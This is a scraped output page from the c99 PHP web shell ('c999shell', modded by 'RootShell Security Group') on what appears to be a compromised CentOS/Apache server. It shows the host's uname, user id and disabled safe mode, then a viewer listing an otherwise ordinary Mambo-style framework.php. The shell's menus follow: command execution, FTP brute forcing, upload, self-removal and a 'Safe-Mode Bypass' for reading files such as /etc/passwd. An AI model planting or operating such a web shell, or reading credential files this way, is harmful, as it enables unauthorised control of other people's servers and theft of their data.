!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/includes/   drwxr-xr-x
Free 52.81 GB of 127.8 GB (41.32%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     framework.php (25.75 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
* @version $Id: mambo.php,v 1.45 2005/02/16 17:06:08 eddieajau Exp $
* @package Mambo
* @copyright (C) 2000 - 2005 Miro International Pty Ltd
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
* Mambo is Free Software
*/

    /** ensure this file is being included by a parent file */
    
defined'_VALID_ACCESS' ) or die( 'Direct Access to this location is not allowed.  ms_com' );
    
define'_MOS_MAMBO_INCLUDED');

    if (
phpversion() < '4.2.0') {
        require_once( 
$_Config_absolute_path '/includes/compat.php41x.php' );
    }
    if (
phpversion() < '4.3.0') {
        require_once( 
$_Config_absolute_path '/includes/compat.php42x.php' );
    }
    if (
phpversion() < '5.0.0') {
        require_once( 
$_Config_absolute_path '/includes/compat.php5xx.php' );
    }
    
    if (
in_array'globals'array_keysarray_change_key_case$_REQUESTCASE_LOWER ) ) ) ) {
        die( 
'Fatal error.  Global variable hack attempted.' );
    }

    @
set_magic_quotes_runtime);

    if (@
$_Config_error_reporting === 0) {
        
error_reporting);
    } else if (@
$_Config_error_reporting 0) {
        
error_reporting$_Config_error_reporting );
    }

    
#Connect to MySQL & Create Object
    //$local_backup_path = $_Config_absolute_path.'/administrator/backups';
    //$media_path = $_Config_absolute_path.'/media/';
    //$image_path = $_Config_absolute_path.'/images/stories';
    //$image_size = 100;

    //require_once( $_Config_absolute_path . "/includes/version.php" );
    
require_once( $_Config_absolute_path "/includes/connMySQL.class.php" );
    
//require_once( $_Config_absolute_path . "/includes/gacl.class.php" );
    //require_once( $_Config_absolute_path . "/includes/gacl_api.class.php" );
    //require_once( $_Config_absolute_path . "/includes/phpmailer/class.phpmailer.php" );
    //require_once( $_Config_absolute_path . "/includes/mamboxml.php" );

    
if (sizeof($_POST) > 0)
      
$_FORM $_POST;
    else if (
sizeof($_GET) > 0)
      
$_FORM $_GET;
    else
      
$_FORM = array("");
      
    
/**
    * Utility function to return a value from a named array or a specified default
    */
    
define"_MOS_NOTRIM"0x0001 );
    
define"_MOS_ALLOWHTML"0x0002 );
    
    function 
mosGetParam( &$arr$name$def=null$mask=) {
        
$return null;
        if (isset( 
$arr[$name] )) {
            if (
is_string$arr[$name] )) {
                if (!(
$mask&_MOS_NOTRIM)) {
                    
$arr[$name] = trim$arr[$name] );
                }
                if (!(
$mask&_MOS_ALLOWHTML)) {
                    
$arr[$name] = strip_tags$arr[$name] );
                }
                if (!
get_magic_quotes_gpc()) {
                    
$arr[$name] = addslashes$arr[$name] );
                }
            }
            return 
$arr[$name];
        } else {
            return 
$def;
        }
    }

    
/**
    * Strip slashes from strings or arrays of strings
    * @param value the input string or array
    */
    
function mosStripslashes(&$value)
    {
        
$ret '';
        if (
is_string($value)) {
            
$ret stripslashes($value);
        } else {
            if (
is_array($value)) {
                
$ret = array();
                while (list(
$key,$val) = each($value)) {
                    
$ret[$key] = mosStripslashes($val);
                } 
// while
            
} else {
                
$ret $value;
            } 
// if
        
// if
        
return $ret;
    } 
// mosStripSlashes

    /**
    * Copy the named array content into the object as properties
    * only existing properties of object are filled. when undefined in hash, properties wont be deleted
    * @param array the input array
    * @param obj byref the object to fill of any class
    * @param string
    * @param boolean
    */
    
function mosBindArrayToObject$array, &$obj$ignore=""$prefix=NULL$checkSlashes=true ) {
        if (!
is_array$array ) || !is_object$obj )) {
            return (
false);
        }

        if (
$prefix) {
            foreach (
get_object_vars($obj) as $k => $v) {
                if (
strpos$ignore$k) === false) {
                    if (isset(
$array[$prefix $k ])) {
                        
$obj->$k = ($checkSlashes && get_magic_quotes_gpc()) ? mosStripslashes$array[$k] ) : $array[$k];
                    }
                }
            }
        } else {
            foreach (
get_object_vars($obj) as $k => $v) {
                if (
strpos$ignore$k) === false) {
                    if (isset(
$array[$k])) {
                        
$obj->$k = ($checkSlashes && get_magic_quotes_gpc()) ? mosStripslashes$array[$k] ) : $array[$k];
                    }
                }
            }
        }

        return 
true;
    }

    
/**
    * Utility function to read the files in a directory
    * @param string The file system path
    * @param string A filter for the names
    * @param boolean Recurse search into sub-directories
    * @param boolean True if to prepend the full path to the file name
    */
    
function mosReadDirectory$path$filter='.'$recurse=false$fullpath=false  ) {
        
$arr = array();
        if (!@
is_dir$path )) {
            return 
$arr;
        }
        
$handle opendir$path );

        while (
$file readdir($handle)) {
            
$dir mosPathName$path.'/'.$filefalse );
            
$isDir is_dir$dir );
            if ((
$file <> ".") && ($file <> "..")) {
                if (
preg_match"/$filter/"$file )) {
                    if (
$fullpath) {
                        
$arr[] = trimmosPathName$path.'/'.$filefalse ) );
                    } else {
                        
$arr[] = trim$file );
                    }
                }
                if (
$recurse && $isDir) {
                    
$arr2 mosReadDirectory$dir$filter$recurse$fullpath );
                    
$arr array_merge$arr$arr2 );
                }
            }
        }
        
closedir($handle);
        
asort($arr);
        return 
$arr;
    }

    
/**
    * Utility function redirect the browser location to another url
    *
    * Can optionally provide a message.
    * @param string The file system path
    * @param string A filter for the names
    */
    
function mosRedirect$url$msg='' ) {
        if (
trim$msg )) {
            if (
strpos$url'?' )) {
                
$url .= '&mosmsg=' urlencode$msg );
            } else {
                
$url .= '?mosmsg=' urlencode$msg );
            }
        }

        if (
headers_sent()) {
            echo 
"<script>document.location.href='$url';</script>\n";
        } else {
            
header"Location: $url" );
            
//header ("Refresh: 0 url=$url");
        
}
        exit();
    }

    function 
mosTreeRecurse$id$indent$list, &$children$maxlevel=9999$level=0$type=) {
        if (@
$children[$id] && $level <= $maxlevel) {
            foreach (
$children[$id] as $v) {
                
$id $v->id;

                if ( 
$type ) {
                    
$pre     '<sup>L</sup>&nbsp;';
                    
$spacer '.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;';
                } else {
                    
$pre     '- ';
                    
$spacer '&nbsp;&nbsp;';
                }

                if ( 
$v->parent == ) {
                    
$txt     $v->name;
                } else {
                    
$txt     $pre $v->name;
                }
                
$pt $v->parent;
                
$list[$id] = $v;
                
$list[$id]->treename "$indent$txt";
                
$list[$id]->children count( @$children[$id] );
                
$list mosTreeRecurse$id$indent $spacer$list$children$maxlevel$level+1$type );
            }
        }
        return 
$list;
    }

    
/**
    * Function to strip additional / or \ in a path name
    * @param string The path
    * @param boolean Add trailing slash
    */
    
function mosPathName($p_path,$p_addtrailingslash true) {
        
$retval "";

        
$isWin = (substr(PHP_OS03) == 'WIN');

        if (
$isWin)    {
            
$retval str_replace'/''\\'$p_path );
            if (
$p_addtrailingslash) {
                if (
substr$retval, -) != '\\') {
                    
$retval .= '\\';
                }
            }
            
// Remove double \\
            
$retval str_replace'\\\\''\\'$retval );
        } else {
            
$retval str_replace'\\''/'$p_path );
            if (
$p_addtrailingslash) {
                if (
substr$retval, -) != '/') {
                    
$retval .= '/';
                }
            }
            
// Remove double //
            
$retval str_replace('//','/',$retval);
        }

        return 
$retval;
    }

    function 
mosObjectToArray($p_obj)
    {
        
$retarray null;
        if(
is_object($p_obj))
        {
            
$retarray = array();
            foreach (
get_object_vars($p_obj) as $k => $v)
            {
                if(
is_object($v))
                
$retarray[$k] = mosObjectToArray($v);
                else
                
$retarray[$k] = $v;
            }
        }
        return 
$retarray;
    }
    
/**
    * Checks the user agent string against known browsers
    */
    
function mosGetBrowser$agent ) {
        require( 
"library/agent_browser.php" );

        if (
preg_match"/msie[\/\sa-z]*([\d\.]*)/i"$agent$m )
        && !
preg_match"/webtv/i"$agent )
        && !
preg_match"/omniweb/i"$agent )
        && !
preg_match"/opera/i"$agent )) {
            
// IE
            
return "MS Internet Explorer $m[1]";
        } else if (
preg_match"/netscape.?\/([\d\.]*)/i"$agent$m )) {
            
// Netscape 6.x, 7.x ...
            
return "Netscape $m[1]";
        } else if ( 
preg_match"/mozilla[\/\sa-z]*([\d\.]*)/i"$agent$m )
        && !
preg_match"/gecko/i"$agent )
        && !
preg_match"/compatible/i"$agent )
        && !
preg_match"/opera/i"$agent )
        && !
preg_match"/galeon/i"$agent )
        && !
preg_match"/safari/i"$agent )) {
            
// Netscape 3.x, 4.x ...
            
return "Netscape $m[2]";
        } else {
            
// Other
            
$found false;
            foreach (
$browserSearchOrder as $key) {
                if (
preg_match"/$key.?\/([\d\.]*)/i"$agent$m )) {
                    
$name "$browsersAlias[$key] $m[1]";
                    return 
$name;
                    break;
                }
            }
        }

        return 
'Unknown';
    }

    
/**
    * Checks the user agent string against known operating systems
    */
    
function mosGetOS$agent ) {
        require( 
"library/agent_os.php" );

        foreach (
$osSearchOrder as $key) {
            if (
preg_match"/$key/i"$agent )) {
                return 
$osAlias[$key];
                break;
            }
        }

        return 
'Unknown';
    }

    
/**
    * @param string SQL with ordering As value and 'name field' AS text
    * @param integer The length of the truncated headline
    */
    
function mosGetOrderingList$sql$chop='30' ) {
        global 
$database;

        
$order = array();
        
$database->setQuery$sql );
        if (!(
$orders $database->loadObjectList())) {
            if (
$database->getErrorNum()) {
                echo 
$database->stderr();
                return 
false;
            } else {
                
$order[] = mosHTML::makeOption1'first' );
                return 
$order;
            }
        }
        
$order[] = mosHTML::makeOption0'0 first' );
        for (
$i=0$n=count$orders ); $i $n$i++) {

            if (
strlen($orders[$i]->text) > $chop) {
                
$text substr($orders[$i]->text,0,$chop)."...";
            } else {
                
$text $orders[$i]->text;
            }

            
$order[] = mosHTML::makeOption$orders[$i]->value$orders[$i]->value.' ('.$text.')' );
        }
        
$order[] = mosHTML::makeOption$orders[$i-1]->value+1, ($orders[$i-1]->value+1).' last' );

        return 
$order;
    }

    
/**
    * Makes a variable safe to display in forms
    *
    * Object parameters that are non-string, array, object or start with underscore
    * will be converted
    * @param object An object to be parsed
    * @param int The optional quote style for the htmlspecialchars function
    * @param string|array An optional single field name or array of field names not
    *                     to be parsed (eg, for a textarea)
    */
    
function mosMakeHtmlSafe( &$mixed$quote_style=ENT_QUOTES$exclude_keys='' ) {
        if (
is_object$mixed )) {
            foreach (
get_object_vars$mixed ) as $k => $v) {
                if (
is_array$v ) || is_object$v ) || $v == NULL || substr$k1) == '_' ) {
                    continue;
                }
                if (
is_string$exclude_keys ) && $k == $exclude_keys) {
                    continue;
                } else if (
is_array$exclude_keys ) && in_array$k$exclude_keys )) {
                    continue;
                }
                
$mixed->$k htmlspecialchars$v$quote_style );
            }
        }
    }


    function 
mosCreateGUID(){
        
srand((double)microtime()*1000000);
        
$r rand ;
        
$u uniqid(getmypid() . $r . (double)microtime()*1000000,1);
        
$m md5 ($u);
        return(
$m);
    }

    function 
mosCompressID$ID ){
        return(
Base64_encode(pack("H*",$ID)));
    }

    function 
mosExpandID$ID ) {
        return ( 
implode(unpack("H*",Base64_decode($ID)), '') );
    }

    
/**
    * Random password generator
    * @return password
    */
    
function mosMakePassword$digit=) {
        
$salt "abcdefhijkmnpqrstuwxyzABCDEFGHJKLMNPQRSTUWXY1345678";
        
$len strlen($salt);
        
$makepass="";
        
mt_srand(10000000*(double)microtime());
        for (
$i 0$i $digit$i++)
        
$makepass .= $salt[mt_rand(0,$len 1)];
        return 
$makepass;
    }

    if (!
function_exists('html_entity_decode')) {
        
/**
        * html_entity_decode function for backward compatability in PHP
        * @param string
        * @param string
        */
        
function html_entity_decode ($string$opt ENT_COMPAT) {

            
$trans_tbl get_html_translation_table (HTML_ENTITIES);
            
$trans_tbl array_flip ($trans_tbl);

            if (
$opt 1) { // Translating single quotes
            // Add single quote to translation table;
            // doesn't appear to be there by default
            
$trans_tbl["&apos;"] = "'";
            }

            if (!(
$opt 2)) { // Not translating double quotes
            // Remove double quote from translation table
            
unset($trans_tbl["&quot;"]);
            }

            return 
strtr ($string$trans_tbl);
        }
    }

/**
* Utility class for all HTML drawing classes
* @package Mambo
*/
class mosHTML {

    function 
makeOption$value$text='' ) {
        
$obj = new stdClass;
        
$obj->value $value;
        
$obj->text trim$text ) ? $text $value;
        return 
$obj;
    }

  function 
writableCell$folder ) {

      echo 
'<tr>';
      echo 
'<td class="item">' $folder '/</td>';
      echo 
'<td align="left">';
      echo 
is_writable"../$folder" ) ? '<b><font color="green">Writeable</font></b>' '<b><font color="red">Unwriteable</font></b>' '</td>';
      echo 
'</tr>';
  }

    
/**
    * Generates an HTML select list
    * @param array An array of objects
    * @param string The value of the HTML name attribute
    * @param string Additional HTML attributes for the <select> tag
    * @param string The name of the object variable for the option value
    * @param string The name of the object variable for the option text
    * @param mixed The key that is selected
    * @returns string HTML for the select list
    */
    
function selectList( &$arr$tag_name$tag_attribs$key$text$selected=NULL ) {
        
reset$arr );
        
$html "\n<select name=\"$tag_name\" $tag_attribs>";
        for (
$i=0$n=count$arr ); $i $n$i++ ) {
            
$k $arr[$i]->$key;
            
$t $arr[$i]->$text;
            
$id = @$arr[$i]->id;

            
$extra '';
            
$extra .= $id " id=\"" $arr[$i]->id "\"" '';
            if (
is_array$selected )) {
                foreach (
$selected as $obj) {
                    
$k2 $obj->$key;
                    if (
$k == $k2) {
                        
$extra .= " selected=\"selected\"";
                        break;
                    }
                }
            } else {
                
$extra .= ($k == $selected " selected=\"selected\"" '');
            }
            
$html .= "\n\t<option value=\"".$k."\"$extra>" $t "</option>";
        }
        
$html .= "\n</select>\n";
        return 
$html;
    }

    
/**
    * Writes a select list of integers
    * @param int The start integer
    * @param int The end integer
    * @param int The increment
    * @param string The value of the HTML name attribute
    * @param string Additional HTML attributes for the <select> tag
    * @param mixed The key that is selected
    * @param string The printf format to be applied to the number
    * @returns string HTML for the select list
    */
    
function integerSelectList$start$end$inc$tag_name$tag_attribs$selected$format="" ) {
        
$start intval$start );
        
$end intval$end );
        
$inc intval$inc );
        
$arr = array();
        for (
$i=$start$i <= $end$i+=$inc) {
            
$fi $format sprintf"$format"$i ) : "$i";
            
$arr[] = mosHTML::makeOption$fi$fi );
        }

        return 
mosHTML::selectList$arr$tag_name$tag_attribs'value''text'$selected );
    }

    
/**
    * Writes a select list of month names based on Language settings
    * @param string The value of the HTML name attribute
    * @param string Additional HTML attributes for the <select> tag
    * @param mixed The key that is selected
    * @returns string HTML for the select list values
    */
    
function monthSelectList$tag_name$tag_attribs$selected ) {
        
$arr = array(
        
mosHTML::makeOption'01'_JAN ),
        
mosHTML::makeOption'02'_FEB ),
        
mosHTML::makeOption'03'_MAR ),
        
mosHTML::makeOption'04'_APR ),
        
mosHTML::makeOption'05'_MAY ),
        
mosHTML::makeOption'06'_JUN ),
        
mosHTML::makeOption'07'_JUL ),
        
mosHTML::makeOption'08'_AUG ),
        
mosHTML::makeOption'09'_SEP ),
        
mosHTML::makeOption'10'_OCT ),
        
mosHTML::makeOption'11'_NOV ),
        
mosHTML::makeOption'12'_DEC )
        );

        return 
mosHTML::selectList$arr$tag_name$tag_attribs'value''text'$selected );
    }

    
/**
    * Generates an HTML select list from a tree based query list
    * @param array Source array with id and parent fields
    * @param array The id of the current list item
    * @param array Target array.  May be an empty array.
    * @param array An array of objects
    * @param string The value of the HTML name attribute
    * @param string Additional HTML attributes for the <select> tag
    * @param string The name of the object variable for the option value
    * @param string The name of the object variable for the option text
    * @param mixed The key that is selected
    * @returns string HTML for the select list
    */
    
function treeSelectList( &$src_list$src_id$tgt_list$tag_name$tag_attribs$key$text$selected ) {

        
// establish the hierarchy of the menu
        
$children = array();
        
// first pass - collect children
        
foreach ($src_list as $v ) {
            
$pt $v->parent;
            
$list = @$children[$pt] ? $children[$pt] : array();
            
array_push$list$v );
            
$children[$pt] = $list;
        }
        
// second pass - get an indent list of the items
        
$ilist mosTreeRecurse0'', array(), $children );

        
// assemble menu items to the array
        
$this_treename '';
        foreach (
$ilist as $item) {
            if (
$this_treename) {
                if (
$item->id != $src_id && strpos$item->treename$this_treename ) === false) {
                    
$tgt_list[] = mosHTML::makeOption$item->id$item->treename );
                }
            } else {
                if (
$item->id != $src_id) {
                    
$tgt_list[] = mosHTML::makeOption$item->id$item->treename );
                } else {
                    
$this_treename "$item->treename/";
                }
            }
        }
        
// build the html select list
        
return mosHTML::selectList$tgt_list$tag_name$tag_attribs$key$text$selected );
    }

    
/**
    * Writes a yes/no select list
    * @param string The value of the HTML name attribute
    * @param string Additional HTML attributes for the <select> tag
    * @param mixed The key that is selected
    * @returns string HTML for the select list values
    */
    
function yesnoSelectList$tag_name$tag_attribs$selected$yes=_CMN_YES$no=_CMN_NO ) {
        
$arr = array(
        
mosHTML::makeOption'0'$no ),
        
mosHTML::makeOption'1'$yes ),
        );

        return 
mosHTML::selectList$arr$tag_name$tag_attribs'value''text'$selected );
    }

    
/**
    * Generates an HTML radio list
    * @param array An array of objects
    * @param string The value of the HTML name attribute
    * @param string Additional HTML attributes for the <select> tag
    * @param mixed The key that is selected
    * @param string The name of the object variable for the option value
    * @param string The name of the object variable for the option text
    * @returns string HTML for the select list
    */
    
function radioList( &$arr$tag_name$tag_attribs$selected=null$key='value'$text='text' ) {
        
reset$arr );
        
$html "";
        for (
$i=0$n=count$arr ); $i $n$i++ ) {
            
$k $arr[$i]->$key;
            
$t $arr[$i]->$text;
            
$id = @$arr[$i]->id;

            
$extra '';
            
$extra .= $id " id=\"" $arr[$i]->id "\"" '';
            if (
is_array$selected )) {
                foreach (
$selected as $obj) {
                    
$k2 $obj->$key;
                    if (
$k == $k2) {
                        
$extra .= " selected=\"selected\"";
                        break;
                    }
                }
            } else {
                
$extra .= ($k == $selected " checked=\"checked\"" '');
            }
            
$html .= "\n\t<input type=\"radio\" name=\"$tag_name\" value=\"".$k."\"$extra $tag_attribs />" $t;
        }
        
$html .= "\n";
        return 
$html;
    }

    
/**
    * Writes a yes/no radio list
    * @param string The value of the HTML name attribute
    * @param string Additional HTML attributes for the <select> tag
    * @param mixed The key that is selected
    * @returns string HTML for the radio list
    */
    
function yesnoRadioList$tag_name$tag_attribs$selected$yes=_CMN_YES$no=_CMN_NO ) {
        
$arr = array(
        
mosHTML::makeOption'0'$notrue ),
        
mosHTML::makeOption'1'$yestrue )
        );
        return 
mosHTML::radioList$arr$tag_name$tag_attribs$selected );
    }

    
/**
    * @param int The row index
    * @param int The record id
    * @param boolean
    * @param string The name of the form element
    * @return string
    */
    
function idBox$rowNum$recId$checkedOut=false$name='cid' ) {
        if ( 
$checkedOut ) {
            return 
'';
        } else {
            return 
'<input type="checkbox" id="cb'.$rowNum.'" name="'.$name.'[]" value="'.$recId.'" onclick="isChecked(this.checked);" />';
        }
    }

    function 
sortIcon$base_href$field$state='none' ) {
        global 
$mosConfig_live_site;

        
$alts = array(
        
'none' => _CMN_SORT_NONE,
        
'asc' => _CMN_SORT_ASC,
        
'desc' => _CMN_SORT_DESC,
        );
        
$next_state 'asc';
        if (
$state == 'asc') {
            
$next_state 'desc';
        } else if (
$state == 'desc') {
            
$next_state 'none';
        }

        
$html "<a href=\"$base_href&field=$field&order=$next_state\">"
        
"<img src=\"$mosConfig_live_site/images/M_images/sort_$state.png\" width=\"12\" height=\"12\" border=\"0\" alt=\"{$alts[$next_state]}\" />"
        
"</a>";
        return 
$html;
    }

    
/**
    * Writes Close Button
    */
    
function CloseButton ( &$params$hide_js=NULL ) {
        
// displays close button in Pop-up window
        
if ( $params->get'popup' ) && !$hide_js ) {
            
?>
            <div align="center" style="margin-top: 30px; margin-bottom: 30px;">
            <a href='javascript:window.close();'>
            <span class="small">
            <?php echo _PROMPT_CLOSE;?>
            </span>
            </a>
            </div>
            <?php
        
}
    }

    
/**
    * Writes Back Button
    */
    
function BackButton ( &$params$hide_js=NULL ) {
        
// Back Button
        
if ( $params->get'back_button' ) && !$params->get'popup' ) && !$hide_js) {
            
?>
            <div class="back_button">
            <a href='javascript:history.go(-1)'>
            <?php echo _BACK?>
            </a>
            </div>
            <?php
        
}
    }

    
/**
    * Cleans text of all formating and scripting code
    */
    
function cleanText ( &$text ) {
        
$text preg_replace"'<script[^>]*>.*?</script>'si"''$text );
        
$text preg_replace'/<a\s+.*?href="([^"]+)"[^>]*>([^<]+)<\/a>/is''\2 (\1)'$text );
        
$text preg_replace'/<!--.+?-->/'''$text );
        
$text preg_replace'/{.+?}/'''$text );
        
$text preg_replace'/&nbsp;/'' '$text );
        
$text preg_replace'/&amp;/'' '$text );
        
$text preg_replace'/&quot;/'' '$text );
        
$text strip_tags$text );
        
$text htmlspecialchars$text );
        return 
$text;
    }

    
/**
    * Writes Print icon
    */
    
function PrintIcon( &$row, &$params$hide_js$link$status=NULL ) {
        global 
$mosConfig_live_site$mosConfig_absolute_path$cur_template$Itemid;
        if ( 
$params->get'print' )  && !$hide_js ) {
            
// use default settings if none declared
            
if ( !$status ) {
                
$status 'status=no,toolbar=no,scrollbars=yes,titlebar=no,menubar=no,resizable=yes,width=640,height=480,directories=no,location=no';
            }

            
// checks template image directory for image, if non found default are loaded
            
if ( $params->get'icons' ) ) {
                
$image mosAdminMenus::ImageCheck'printButton.png''/images/M_images/'NULLNULL_CMN_PRINT );
            } else {
                
$image _ICON_SEP .'&nbsp;'_CMN_PRINT'&nbsp;'_ICON_SEP;
            }

            if ( 
$params->get'popup' ) && !$hide_js ) {
                
// Print Preview button - used when viewing page
                
?>
                <td align="right" width="100%" class="buttonheading">
                <a href="#" onClick="javascript:window.print(); return false" title="<?php echo _CMN_PRINT;?>">
                <?php echo $image;?>
                </a>
                </td>
                <?php
            
} else {
                
// Print Button - used in pop-up window
                
?>
                <td align="right" width="100%" class="buttonheading">
                <a href="javascript:void window.open('<?php echo $link?>', 'win2', '<?php echo $status?>');" title="<?php echo _CMN_PRINT;?>">
                <?php echo $image;?>
                </a>
                </td>
                <?php
            
}
        }
    }
//End Class mosHTML

    /**
    * simple Javascript Cloaking
    * email cloacking
     * by default replaces an email with a mailto link with email cloacked
    */
    
function emailCloaking$mail$mailto=1$text='' ) {
        
// convert text
        
$mail     mosHTML::encoding_converter$mail );
        
// split email by @ symbol
        
$mail    explode'@'$mail );
        
$mail1    explode'.'$mail[1] );
        
// random number
        
$rand    rand1100000 );

        
$replacement     "<script language='JavaScript' type='text/javascript'>";
        
$replacement     .= "\n<!--\n";
        
$replacement     .= "var prefix = '&#109;a' + 'i&#108;' + '&#116;o';\n";
        
$replacement     .= "var path = 'hr' + 'ef' + '=';\n";
        
$replacement     .= "var addy"$rand ." = '". @$mail[0] ."' + '&#64;' + '". @$mail1[0] ."' + '&#46;' + '". @$mail1[1] ."';\n";
        if ( 
$mailto ) {
            
// special handling when mail text is different from mail addy
            
if ( $text ) {
                
// convert text
                
$text     mosHTML::encoding_converter$text );
                
// split email by @ symbol
                
$text     explode'@'$text );
                
$text1    explode'.'$text[1] );
                
$replacement     .= "var addy_text"$rand ." = '". @$text[0] ."' + '&#64;' + '". @$text1[0] ."' + '&#46;' + '". @$text1[1] ."';\n";
                
$replacement     .= "document.write( '<a ' + path + '\'' + prefix + ':' + addy"$rand ." + '\'>' + addy_text"$rand ." + '</a>' );";
            } else {
                
$replacement     .= "document.write( '<a ' + path + '\'' + prefix + ':' + addy"$rand ." + '\'>' + addy"$rand ." + '</a>' );";
            }
        } else {
            
$replacement     .= "document.write( addy"$rand ." );";
        }
        
$replacement     .= "\n//-->\n";
        
$replacement     .= "</script>";
        
$replacement     .= "<noscript>";
        
$replacement     .= _CLOAKING;
        
$replacement     .= "</noscript>";

        return 
$replacement;
    }

    function 
encoding_converter$text ) {
        
// replace vowels with character encoding
        
$text     str_replace'a''&#97;'$text );
        
$text     str_replace'e''&#101;'$text );
        
$text     str_replace'i''&#105;'$text );
        
$text     str_replace'o''&#111;'$text );
        
$text    str_replace'u''&#117;'$text );

        return 
$text;
    }
}

/*
// define
    class connMySQL

    // Utility
    mosGetParam
    mosStripslashes
    mosBindArrayToObject
    mosReadDirectory
    mosRedirect
    mosTreeRecurse
    mosPathName
    mosObjectToArray
    mosGetBrowser
    mosGetOS
    mosGetOrderingList
    mosMakeHtmlSafe
    mosMenuCheck
    mosToolTip
    mosWarning
    mosCreateGUID
    mosCompressID
    mosExpandID
    initGzip
    doGzip
    mosMakePassword
    html_entity_decode

709 : class mosHTML
*/

?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0084 ]--